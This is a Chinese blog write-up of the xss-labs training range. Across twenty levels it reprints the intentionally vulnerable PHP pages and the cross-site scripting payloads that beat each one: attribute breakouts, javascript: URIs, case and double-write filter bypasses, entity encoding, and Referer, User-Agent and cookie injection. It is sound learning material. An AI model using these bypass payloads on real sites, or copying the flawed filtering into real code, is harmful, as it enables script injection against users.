xss-labs-master靶场笔记

发表于 分类于 阅读次数： 本文字数： 24k 阅读时长 ≈ 21 分钟
xss-labs-mastes是一个针对xss漏洞练习的靶场。下载安装好phpstudy。运行phpstudy，Apache和MySQL绿灯亮起为正常，下载并解压xss-labs文件。在phpstudy界面点击其它选项菜单，选择网站根目录，将解压好的xss-labs文件放入。在浏览器网址中输入localhost/xss-labs/index.php展示欢迎网页。

使用方法

level1：

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

  • 通过PHP的GET方式传参，打印输出

<script>alert('xss')</script>

level2:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

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"><script>alert(1)</script>
."><script>alert(1)</script>
"><script>alert(1)</script><".

​
​
​

level3:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

  • 闭合弹窗
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    '> onclick='alert(1)' //
    '> onmouseover=alert(1)//

level4:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

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"onclick='alert(1)' //

level5:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
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"> <a href="javascript:alert(1)"> //

level6:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

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"> <a Href="javascript:alert(1)">
"> <a Href="javascript:alert(1)">//JavaScript对大小写敏感

level7:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

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"> <a hhrefref="javaSscriptcript:alert(1)">//
//HTML实体转换------> https://www.qqxiuzi.cn/bianma/zifushiti.php

level8:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

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javasc&#x72;ipt:alert(1)

level9:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

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javasc&#x72;ipt:alert(1)// http://

level10:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

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<input name="t_link" value="" type="hidden" onclick="alert(1)">

level11:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

  • 使用burp suite抓包，在页面添加：

    Referer: “ onmouseover=alert(1) type=”text”

    图片.png

level12:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


  • 使用bp抓包，” onmouseover=alert(1) type=”text” 加到user-Agent后面
    图片.png

图片.png

level13:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


  • bp抓包，cookie后面的内容改为：click here"type="button"onclick="javascript:alert(123)

图片.png

图片.png

level14:

不知道为啥，总是跳到这个地址

图片.png

level15:

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<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

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payload:
127.0.0.1/xss-labs-master/level15.php?src='http://127.0.0.1/xss-labs-master/level1.php?name="><a href="javascript:alert(/xss/)">xss'

图片.png

level16:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

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payload:
127.0.0.1/xss-labs-master/level16.php?keyword=<a%0Ahref='javas%0Acript:alert("xss")'>xss

图片.png

level17:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后，<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

图片.png

level18:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

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payload:
127.0.0.1/xss-labs-master/level18.php?arg01=       onfoucs&arg02=javascript:alert(123)
  • 怎么都弹不了窗，百度后，需要使用IE浏览器，我是火狐，没有IE
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    网上搜的payload:
    http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onmouseover=alert(1)

http://192.168.132.132/xss-labs-master/level18.php?arg01=a&arg02= onmouseout=alert1

http://127.0.0.1/xss/level18.php?arg01= onfoucs&arg02=javascript:alert(123)

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```


# level19:
```html
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

level20:

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<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>